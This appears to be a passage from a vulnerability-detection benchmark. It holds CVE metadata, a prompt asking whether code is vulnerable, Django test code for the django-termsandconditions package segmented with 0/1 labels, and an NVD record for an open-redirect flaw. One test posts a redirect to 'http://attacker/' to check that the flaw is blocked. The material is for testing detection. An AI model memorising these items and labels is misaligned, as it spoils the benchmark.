7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "\"\"\"Unit Tests for the termsandconditions module\"\"\"", "# pylint: disable=R0904, C0103\nimport time\nfrom importlib import import_module\nimport logging", "from django.core import mail\nfrom django.core.cache import cache\nfrom django.http import HttpResponseRedirect\nfrom django.conf import settings\nfrom django.test import TestCase, RequestFactory\nfrom django.contrib.auth.models import User, ContentType, Permission\nfrom django.template import Context, Template", "from .models import TermsAndConditions, UserTermsAndConditions, DEFAULT_TERMS_SLUG\nfrom .pipeline import user_accept_terms\nfrom .templatetags.terms_tags import show_terms_if_not_agreed", "LOGGER = logging.getLogger(name=\"termsandconditions\")", "\nclass TermsAndConditionsTests(TestCase):\n \"\"\"Tests Terms and Conditions Module\"\"\"", " def setUp(self):\n \"\"\"Setup for each test\"\"\"\n LOGGER.debug(\"Test Setup\")", " self.su = User.objects.create_superuser(\"su\", \"su@example.com\", \"superstrong\")\n self.user1 = User.objects.create_user(\n \"user1\", \"user1@user1.com\", \"user1password\"\n )\n self.user2 = User.objects.create_user(\n \"user2\", \"user2@user2.com\", \"user2password\"\n )\n self.user3 = User.objects.create_user(\n \"user3\", \"user3@user3.com\", \"user3password\"\n )\n self.terms1 = TermsAndConditions.objects.create(\n id=1,\n slug=\"site-terms\",\n name=\"Site Terms\",\n text=\"Site Terms and Conditions 1\",\n version_number=1.0,\n date_active=\"2012-01-01\",\n )\n self.terms2 = TermsAndConditions.objects.create(\n id=2,\n slug=\"site-terms\",\n name=\"Site Terms\",\n text=\"Site Terms and Conditions 2\",\n version_number=2.0,\n date_active=\"2012-01-05\",\n )\n self.terms3 = TermsAndConditions.objects.create(\n id=3,\n slug=\"contrib-terms\",\n name=\"Contributor Terms\",\n text=\"Contributor Terms and Conditions 1.5\",\n version_number=1.5,\n date_active=\"2012-01-01\",\n )\n self.terms4 = TermsAndConditions.objects.create(\n id=4,\n slug=\"contrib-terms\",\n name=\"Contributor Terms\",\n text=\"Contributor Terms and Conditions 2\",\n version_number=2.0,\n date_active=\"2100-01-01\",\n )", " # give user3 permission to skip T&Cs\n content_type = ContentType.objects.get_for_model(type(self.user3))\n self.skip_perm = Permission.objects.create(\n content_type=content_type, name=\"Can skip T&Cs\", codename=\"can_skip_t&c\"\n )\n self.user3.user_permissions.add(self.skip_perm)", " def tearDown(self):\n \"\"\"Teardown for each test\"\"\"\n LOGGER.debug(\"Test TearDown\")\n User.objects.all().delete()\n TermsAndConditions.objects.all().delete()\n UserTermsAndConditions.objects.all().delete()", " def test_social_redirect(self):\n \"\"\"Test the agreed_to_terms redirect from social pipeline\"\"\"\n LOGGER.debug(\"Test the social pipeline\")\n response = user_accept_terms(\"backend\", self.user1, \"123\")\n self.assertIsInstance(response, HttpResponseRedirect)", " # Accept the terms and try again\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms2)\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms3)\n response = user_accept_terms(\"backend\", self.user1, \"123\")\n self.assertIsInstance(response, dict)", " def test_get_active_terms_list(self):\n \"\"\"Test get list of active T&Cs\"\"\"\n active_list = TermsAndConditions.get_active_terms_list()\n self.assertEqual(2, len(active_list))\n self.assertQuerysetEqual(active_list, [repr(self.terms3), repr(self.terms2)])", " def test_get_active_terms_not_agreed_to(self):\n \"\"\"Test get T&Cs not agreed to\"\"\"\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.user1)\n self.assertEqual(2, len(active_list))\n self.assertQuerysetEqual(active_list, [repr(self.terms3), repr(self.terms2)])", " def test_user_is_excluded(self):\n \"\"\"Test user3 has perm which excludes them from having to accept T&Cs\"\"\"\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.user3)\n self.assertEqual([], active_list)", " def test_superuser_is_not_implicitly_excluded(self):\n \"\"\"Test su should have to accept T&Cs even if they are superuser but don't explicitly have the skip perm\"\"\"\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.su)\n self.assertEqual(2, len(active_list))\n self.assertQuerysetEqual(active_list, [repr(self.terms3), repr(self.terms2)])", " def test_superuser_cannot_skip(self):\n \"\"\"Test su still has to accept even if they are explicitly given the skip perm\"\"\"\n self.su.user_permissions.add(self.skip_perm)\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.su)\n self.assertEqual(2, len(active_list))\n self.assertQuerysetEqual(active_list, [repr(self.terms3), repr(self.terms2)])", " def test_superuser_excluded(self):\n \"\"\"Test su doesn't have to accept with TERMS_EXCLUDE_SUPERUSERS set\"\"\"\n with self.settings(TERMS_EXCLUDE_SUPERUSERS=True):\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.su)\n self.assertEqual([], active_list)", " def test_get_active_terms_ids(self):\n \"\"\"Test get ids of active T&Cs\"\"\"\n active_list = TermsAndConditions.get_active_terms_ids()\n self.assertEqual(2, len(active_list))\n self.assertEqual(active_list, [3, 2])", " def test_terms_and_conditions_models(self):\n \"\"\"Various tests of the TermsAndConditions Module\"\"\"", " # Testing Direct Assignment of Acceptance\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms1)\n UserTermsAndConditions.objects.create(user=self.user2, terms=self.terms3)", " self.assertEquals(1.0, self.user1.userterms.get().terms.version_number)\n self.assertEquals(1.5, self.user2.userterms.get().terms.version_number)", " self.assertEquals(\"user1\", self.terms1.users.all()[0].get_username())", " # Testing the get_active static method of TermsAndConditions\n self.assertEquals(\n 2.0, TermsAndConditions.get_active(slug=\"site-terms\").version_number\n )\n self.assertEquals(\n 1.5, TermsAndConditions.get_active(slug=\"contrib-terms\").version_number\n )", " # Testing the unicode method of TermsAndConditions\n self.assertEquals(\n \"site-terms-2.00\", str(TermsAndConditions.get_active(slug=\"site-terms\"))\n )\n self.assertEquals(\n \"contrib-terms-1.50\",\n str(TermsAndConditions.get_active(slug=\"contrib-terms\")),\n )", " def test_middleware_redirect(self):\n \"\"\"Validate that a user is redirected to the terms accept page if they are logged in, and decorator is on method\"\"\"", " UserTermsAndConditions.objects.all().delete()", " LOGGER.debug(\"Test user1 login for middleware\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test /secure/ after login\")\n logged_in_response = self.client.get(\"/secure/\", follow=True)\n self.assertRedirects(\n logged_in_response, \"/terms/accept/contrib-terms/?returnTo=/secure/\"\n )", " def test_terms_required_redirect(self):\n \"\"\"Validate that a user is redirected to the terms accept page if logged in, and decorator is on method\"\"\"", " LOGGER.debug(\"Test /termsrequired/ pre login\")\n not_logged_in_response = self.client.get(\"/termsrequired/\", follow=True)\n self.assertRedirects(\n not_logged_in_response, \"/accounts/login/?next=/termsrequired/\"\n )", " LOGGER.debug(\"Test user1 login\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test /termsrequired/ after login\")\n logged_in_response = self.client.get(\"/termsrequired/\", follow=True)\n self.assertRedirects(\n logged_in_response, \"/terms/accept/?returnTo=/termsrequired/\"\n )", " LOGGER.debug(\"Test no redirect for /termsrequired/ after accept\")\n accepted_response = self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/termsrequired/\"}, follow=True\n )\n self.assertContains(accepted_response, \"Please Accept\")", " LOGGER.debug(\"Test response after termsrequired accept\")\n terms_required_response = self.client.get(\"/termsrequired/\", follow=True)\n self.assertContains(terms_required_response, \"Please Accept\")", " def test_accept(self):\n \"\"\"Validate that accepting terms works\"\"\"", " LOGGER.debug(\"Test user1 login for accept\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test /terms/accept/ get\")\n accept_response = self.client.get(\"/terms/accept/\", follow=True)\n self.assertContains(accept_response, \"Accept\")", " LOGGER.debug(\"Test /terms/accept/ post\")\n chained_terms_response = self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/secure/\"}, follow=True\n )\n self.assertContains(chained_terms_response, \"Contributor\")", " LOGGER.debug(\"Test /terms/accept/contrib-terms/1.5/ post\")\n accept_version_response = self.client.get(\n \"/terms/accept/contrib-terms/1.5/\", follow=True\n )\n self.assertContains(\n accept_version_response, \"Contributor Terms and Conditions 1.5\"\n )", " LOGGER.debug(\"Test /terms/accept/contrib-terms/3/ post\")\n accept_version_post_response = self.client.post(\n \"/terms/accept/\", {\"terms\": 3, \"returnTo\": \"/secure/\"}, follow=True\n )\n self.assertContains(accept_version_post_response, \"Secure\")\n", " def test_accept_redirect_safe(self):", " # Pre-accept terms 2 and 3\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms2)\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms3)", " LOGGER.debug(\"Test user1 login for test_accept_redirect\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test /terms/accept/site-terms/1/ post\")\n accept_response = self.client.post(", " \"/terms/accept/\", {\"terms\": 1, \"returnTo\": \"/secure/\"}, follow=True\n )", " self.assertRedirects(accept_response, \"/secure/\")", " def test_accept_redirect_unsafe(self):", " # Pre-accept terms 2 and 3\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms2)\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms3)", " LOGGER.debug(\"Test /terms/accept/contrib-terms/3/ post\")\n accept_response = self.client.post(\n \"/terms/accept/\", {\"terms\": 3, \"returnTo\": \"http://attacker/\"}, follow=False\n )", " self.assertRedirects(accept_response, \"/\")", " def test_accept_store_ip_address(self):\n \"\"\"Test with IP address storage setting true (default)\"\"\"\n self.client.login(username=\"user1\", password=\"user1password\")\n self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/secure/\"}, follow=True\n )\n user_terms = UserTermsAndConditions.objects.all()[0]\n self.assertEqual(user_terms.user, self.user1)\n self.assertEqual(user_terms.terms, self.terms2)\n self.assertTrue(user_terms.ip_address)", " def test_accept_store_ip_address_multiple(self):\n \"\"\"Test storing IP address when it is a list\"\"\"\n self.client.login(username=\"user1\", password=\"user1password\")\n self.client.post(\n \"/terms/accept/\",\n {\"terms\": 2, \"returnTo\": \"/secure/\"},\n follow=True,\n REMOTE_ADDR=\"0.0.0.0, 1.1.1.1\",\n )\n user_terms = UserTermsAndConditions.objects.all()[0]\n self.assertEqual(user_terms.user, self.user1)\n self.assertEqual(user_terms.terms, self.terms2)\n self.assertTrue(user_terms.ip_address)", " def test_accept_no_ip_address(self):\n \"\"\"Test with IP address storage setting false\"\"\"\n self.client.login(username=\"user1\", password=\"user1password\")\n with self.settings(TERMS_STORE_IP_ADDRESS=False):\n self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/secure/\"}, follow=True\n )\n user_terms = UserTermsAndConditions.objects.all()[0]\n self.assertFalse(user_terms.ip_address)", " def test_terms_upgrade(self):\n \"\"\"Validate a user is prompted to accept terms again when new version comes out\"\"\"", " UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms2)", " LOGGER.debug(\"Test user1 login pre upgrade\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test user1 not redirected after login\")\n logged_in_response = self.client.get(\"/secure/\", follow=True)\n self.assertContains(logged_in_response, \"Contributor\")", " # First, Accept Contributor Terms\n LOGGER.debug(\"Test /terms/accept/contrib-terms/3/ post\")\n self.client.post(\n \"/terms/accept/\", {\"terms\": 3, \"returnTo\": \"/secure/\"}, follow=True\n )", " LOGGER.debug(\"Test upgrade terms\")\n self.terms5 = TermsAndConditions.objects.create(\n id=5,\n slug=\"site-terms\",\n name=\"Site Terms\",\n text=\"Terms and Conditions2\",\n version_number=2.5,\n date_active=\"2012-02-05\",\n )", " LOGGER.debug(\"Test user1 is redirected when changing pages\")\n post_upgrade_response = self.client.get(\"/secure/\", follow=True)\n self.assertRedirects(\n post_upgrade_response, \"/terms/accept/site-terms/?returnTo=/secure/\"\n )", " def test_no_middleware(self):\n \"\"\"Test a secure page with the middleware excepting it\"\"\"", " UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms2)", " LOGGER.debug(\"Test user1 login no middleware\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test user1 not redirected after login\")\n logged_in_response = self.client.get(\"/securetoo/\", follow=True)\n self.assertContains(logged_in_response, \"SECOND\")", " LOGGER.debug(\"Test startswith '/admin' pages not redirecting\")\n admin_response = self.client.get(\"/admin\", follow=True)\n self.assertContains(admin_response, \"administration\")", " def test_anonymous_terms_view(self):\n \"\"\"Test Accessing the View Terms and Conditions for Anonymous User\"\"\"\n active_terms = TermsAndConditions.get_active_terms_list()", " LOGGER.debug(\"Test /terms/ with anon\")\n root_response = self.client.get(\"/terms/\", follow=True)\n for terms in active_terms:\n self.assertContains(root_response, terms.name)\n self.assertContains(root_response, terms.text)\n self.assertContains(root_response, \"Terms and Conditions\")", " LOGGER.debug(\"Test /terms/view/site-terms with anon\")\n slug_response = self.client.get(self.terms2.get_absolute_url(), follow=True)\n self.assertContains(slug_response, self.terms2.name)\n self.assertContains(slug_response, self.terms2.text)\n self.assertContains(slug_response, \"Terms and Conditions\")", " LOGGER.debug(\"Test /terms/view/contributor-terms/1.5 with anon\")\n version_response = self.client.get(self.terms3.get_absolute_url(), follow=True)\n self.assertContains(version_response, self.terms3.name)\n self.assertContains(version_response, self.terms3.text)", " def test_user_terms_view(self):\n \"\"\"Test Accessing the View Terms and Conditions Page for Logged In User\"\"\"\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " user1_not_agreed_terms = TermsAndConditions.get_active_terms_not_agreed_to(\n self.user1\n )\n self.assertEqual(len(user1_not_agreed_terms), 2)", " LOGGER.debug(\"Test /terms/ with user1\")\n root_response = self.client.get(\"/terms/\", follow=True)\n for terms in user1_not_agreed_terms:\n self.assertContains(root_response, terms.text)\n self.assertContains(root_response, \"Terms and Conditions\")\n self.assertContains(root_response, \"Sign Out\")", " # Accept terms and check again\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms3)\n user1_not_agreed_terms = TermsAndConditions.get_active_terms_not_agreed_to(\n self.user1\n )\n self.assertEqual(len(user1_not_agreed_terms), 1)\n LOGGER.debug(\"Test /terms/ with user1 after accept\")\n post_accept_response = self.client.get(\"/terms/\", follow=True)\n for terms in user1_not_agreed_terms:\n self.assertContains(post_accept_response, terms.text)\n self.assertNotContains(post_accept_response, self.terms3.name)\n self.assertContains(post_accept_response, \"Terms and Conditions\")\n self.assertContains(post_accept_response, \"Sign Out\")", " # Check by slug and version while logged in\n LOGGER.debug(\"Test /terms/view/site-terms as user1\")\n slug_response = self.client.get(self.terms2.get_absolute_url(), follow=True)\n self.assertContains(slug_response, self.terms2.name)\n self.assertContains(slug_response, self.terms2.text)\n self.assertContains(slug_response, \"Terms and Conditions\")\n self.assertContains(slug_response, \"Sign Out\")", " LOGGER.debug(\"Test /terms/view/site-terms/1.5 as user1\")\n version_response = self.client.get(self.terms3.get_absolute_url(), follow=True)\n self.assertContains(version_response, self.terms3.name)\n self.assertContains(version_response, self.terms3.text)\n self.assertContains(version_response, \"Terms and Conditions\")\n self.assertContains(slug_response, \"Sign Out\")", " def test_user_pipeline(self):\n \"\"\"Test the case of a user being partially created via the django-socialauth pipeline\"\"\"", " LOGGER.debug(\"Test /terms/accept/ post for no user\")\n no_user_response = self.client.post(\"/terms/accept/\", {\"terms\": 2}, follow=True)\n self.assertContains(no_user_response, \"Home\")", " user = {\"pk\": self.user1.id}\n kwa = {\"user\": user}\n partial_pipeline = {\"kwargs\": kwa}", " engine = import_module(settings.SESSION_ENGINE)\n store = engine.SessionStore()\n store.save()\n self.client.cookies[settings.SESSION_COOKIE_NAME] = store.session_key", " session = self.client.session\n session[\"partial_pipeline\"] = partial_pipeline\n session.save()", " self.assertTrue(\"partial_pipeline\" in self.client.session)", " LOGGER.debug(\"Test /terms/accept/ post for pipeline user\")\n pipeline_response = self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/anon\"}, follow=True\n )\n self.assertContains(pipeline_response, \"Anon\")", " def test_email_terms(self):\n \"\"\"Test emailing terms and conditions\"\"\"\n LOGGER.debug(\"Test /terms/email/\")\n email_form_response = self.client.get(\"/terms/email/\", follow=True)\n self.assertContains(email_form_response, \"Email\")", " LOGGER.debug(\"Test /terms/email/ post, expecting email fail\")\n email_send_response = self.client.post(\n \"/terms/email/\",\n {\n \"email_address\": \"foo@foo.com\",\n \"email_subject\": \"Terms Email\",\n \"terms\": 2,\n \"returnTo\": \"/\",\n },\n follow=True,\n )\n self.assertEqual(\n len(mail.outbox), 1\n ) # Check that there is one email in the test outbox\n self.assertContains(email_send_response, \"Sent\")", " LOGGER.debug(\"Test /terms/email/ post, expecting email fail\")\n email_fail_response = self.client.post(\n \"/terms/email/\",\n {\n \"email_address\": \"INVALID EMAIL ADDRESS\",\n \"email_subject\": \"Terms Email\",\n \"terms\": 2,\n \"returnTo\": \"/\",\n },\n follow=True,\n )\n self.assertContains(email_fail_response, \"Invalid\")", "\nclass TermsAndConditionsTemplateTagsTestCase(TestCase):\n \"\"\"Tests Tags for T&C\"\"\"", " def setUp(self):\n \"\"\"Setup for each test\"\"\"\n self.user1 = User.objects.create_user(\n \"user1\", \"user1@user1.com\", \"user1password\"\n )\n self.template_string_1 = (\n \"{% load terms_tags %}\" \"{% show_terms_if_not_agreed %}\"\n )\n self.template_string_2 = (\n \"{% load terms_tags %}\"\n '{% show_terms_if_not_agreed slug=\"specific-terms\" %}'\n )\n self.template_string_3 = (\n \"{% load terms_tags %}\" \"{% include terms.text|as_template %}\"\n )\n self.terms1 = TermsAndConditions.objects.create(\n id=1,\n slug=\"site-terms\",\n name=\"Site Terms\",\n text=\"Site Terms and Conditions 1\",\n version_number=1.0,\n date_active=\"2012-01-01\",\n )\n cache.clear()", " def _make_context(self, url):\n \"\"\"Build Up Context - Used in many tests\"\"\"\n context = dict()\n context[\"request\"] = RequestFactory()\n context[\"request\"].user = self.user1\n context[\"request\"].META = {\"PATH_INFO\": url}\n return context", " def render_template(self, string, context=None):\n \"\"\"a helper method to render simplistic test templates\"\"\"\n request = RequestFactory().get(\"/test\")\n request.user = self.user1\n request.context = context or {}\n return Template(string).render(Context({\"request\": request}))", " def test_show_terms_if_not_agreed(self):\n \"\"\"test if show_terms_if_not_agreed template tag renders html code\"\"\"\n LOGGER.debug(\"Test template tag not showing terms if not agreed to\")\n rendered = self.render_template(self.template_string_1)\n terms = TermsAndConditions.get_active()\n self.assertIn(terms.slug, rendered)", " def test_not_show_terms_if_agreed(self):\n \"\"\"test if show_terms_if_not_agreed template tag does not load if user agreed terms\"\"\"\n LOGGER.debug(\"Test template tag not showing terms once agreed to\")\n terms = TermsAndConditions.get_active()\n UserTermsAndConditions.objects.create(terms=terms, user=self.user1)\n rendered = self.render_template(self.template_string_1)\n self.assertNotIn(terms.slug, rendered)", " def test_show_terms_if_not_agreed_on_protected_url_not_agreed(self):\n \"\"\"Check terms on protected url if not agreed\"\"\"\n context = self._make_context(\"/test\")\n result = show_terms_if_not_agreed(context)\n terms = TermsAndConditions.get_active(slug=DEFAULT_TERMS_SLUG)\n self.assertEqual(result.get(\"not_agreed_terms\")[0], terms)", " def test_show_terms_if_not_agreed_on_unprotected_url_not_agreed(self):\n \"\"\"Check terms on unprotected url if not agreed\"\"\"\n context = self._make_context(\"/\")\n result = show_terms_if_not_agreed(context)\n self.assertDictEqual(result, {\"not_agreed_terms\": False})", " def test_as_template(self):\n \"\"\"Test as_template template tag\"\"\"\n terms = TermsAndConditions.get_active()\n rendered = Template(self.template_string_3).render(Context({\"terms\": terms}))\n self.assertIn(terms.text, rendered)" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [269, 183], "buggy_code_start_loc": [245, 16], "filenames": ["termsandconditions/tests.py", "termsandconditions/views.py"], "fixing_code_end_loc": [278, 201], "fixing_code_start_loc": [245, 17], "message": "A vulnerability has been found in cyface Terms and Conditions Module up to 2.0.9 and classified as problematic. Affected by this vulnerability is the function returnTo of the file termsandconditions/views.py. The manipulation leads to open redirect. The attack can be launched remotely. Upgrading to version 2.0.10 is able to address this issue. The name of the patch is 03396a1c2e0af95e12a45c5faef7e47a4b513e1a. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216175.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:django_terms_and_conditions_project:django_terms_and_conditions:*:*:*:*:*:*:*:*", "matchCriteriaId": "F2C43DF4-BBD4-4D53-9F33-3F078DDD6C04", "versionEndExcluding": "2.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in cyface Terms and Conditions Module up to 2.0.9 and classified as problematic. Affected by this vulnerability is the function returnTo of the file termsandconditions/views.py. The manipulation leads to open redirect. The attack can be launched remotely. Upgrading to version 2.0.10 is able to address this issue. The name of the patch is 03396a1c2e0af95e12a45c5faef7e47a4b513e1a. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216175."}], "evaluatorComment": null, "id": "CVE-2022-4589", "lastModified": "2023-01-06T13:52:10.523", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.1, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-12-17T13:15:09.883", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/commit/03396a1c2e0af95e12a45c5faef7e47a4b513e1a"}, {"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/pull/239"}, {"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/releases/tag/v2.0.10"}, {"source": "cna@vuldb.com", "tags": ["Permissions Required", "Third Party Advisory"], "url": "https://vuldb.com/?id.216175"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-601"}], "source": "cna@vuldb.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/cyface/django-termsandconditions/commit/03396a1c2e0af95e12a45c5faef7e47a4b513e1a"}, "type": "CWE-601"}
135
Determine whether the {function_name} code is vulnerable or not.
[ "\"\"\"Unit Tests for the termsandconditions module\"\"\"", "# pylint: disable=R0904, C0103\nimport time\nfrom importlib import import_module\nimport logging", "from django.core import mail\nfrom django.core.cache import cache\nfrom django.http import HttpResponseRedirect\nfrom django.conf import settings\nfrom django.test import TestCase, RequestFactory\nfrom django.contrib.auth.models import User, ContentType, Permission\nfrom django.template import Context, Template", "from .models import TermsAndConditions, UserTermsAndConditions, DEFAULT_TERMS_SLUG\nfrom .pipeline import user_accept_terms\nfrom .templatetags.terms_tags import show_terms_if_not_agreed", "LOGGER = logging.getLogger(name=\"termsandconditions\")", "\nclass TermsAndConditionsTests(TestCase):\n \"\"\"Tests Terms and Conditions Module\"\"\"", " def setUp(self):\n \"\"\"Setup for each test\"\"\"\n LOGGER.debug(\"Test Setup\")", " self.su = User.objects.create_superuser(\"su\", \"su@example.com\", \"superstrong\")\n self.user1 = User.objects.create_user(\n \"user1\", \"user1@user1.com\", \"user1password\"\n )\n self.user2 = User.objects.create_user(\n \"user2\", \"user2@user2.com\", \"user2password\"\n )\n self.user3 = User.objects.create_user(\n \"user3\", \"user3@user3.com\", \"user3password\"\n )\n self.terms1 = TermsAndConditions.objects.create(\n id=1,\n slug=\"site-terms\",\n name=\"Site Terms\",\n text=\"Site Terms and Conditions 1\",\n version_number=1.0,\n date_active=\"2012-01-01\",\n )\n self.terms2 = TermsAndConditions.objects.create(\n id=2,\n slug=\"site-terms\",\n name=\"Site Terms\",\n text=\"Site Terms and Conditions 2\",\n version_number=2.0,\n date_active=\"2012-01-05\",\n )\n self.terms3 = TermsAndConditions.objects.create(\n id=3,\n slug=\"contrib-terms\",\n name=\"Contributor Terms\",\n text=\"Contributor Terms and Conditions 1.5\",\n version_number=1.5,\n date_active=\"2012-01-01\",\n )\n self.terms4 = TermsAndConditions.objects.create(\n id=4,\n slug=\"contrib-terms\",\n name=\"Contributor Terms\",\n text=\"Contributor Terms and Conditions 2\",\n version_number=2.0,\n date_active=\"2100-01-01\",\n )", " # give user3 permission to skip T&Cs\n content_type = ContentType.objects.get_for_model(type(self.user3))\n self.skip_perm = Permission.objects.create(\n content_type=content_type, name=\"Can skip T&Cs\", codename=\"can_skip_t&c\"\n )\n self.user3.user_permissions.add(self.skip_perm)", " def tearDown(self):\n \"\"\"Teardown for each test\"\"\"\n LOGGER.debug(\"Test TearDown\")\n User.objects.all().delete()\n TermsAndConditions.objects.all().delete()\n UserTermsAndConditions.objects.all().delete()", " def test_social_redirect(self):\n \"\"\"Test the agreed_to_terms redirect from social pipeline\"\"\"\n LOGGER.debug(\"Test the social pipeline\")\n response = user_accept_terms(\"backend\", self.user1, \"123\")\n self.assertIsInstance(response, 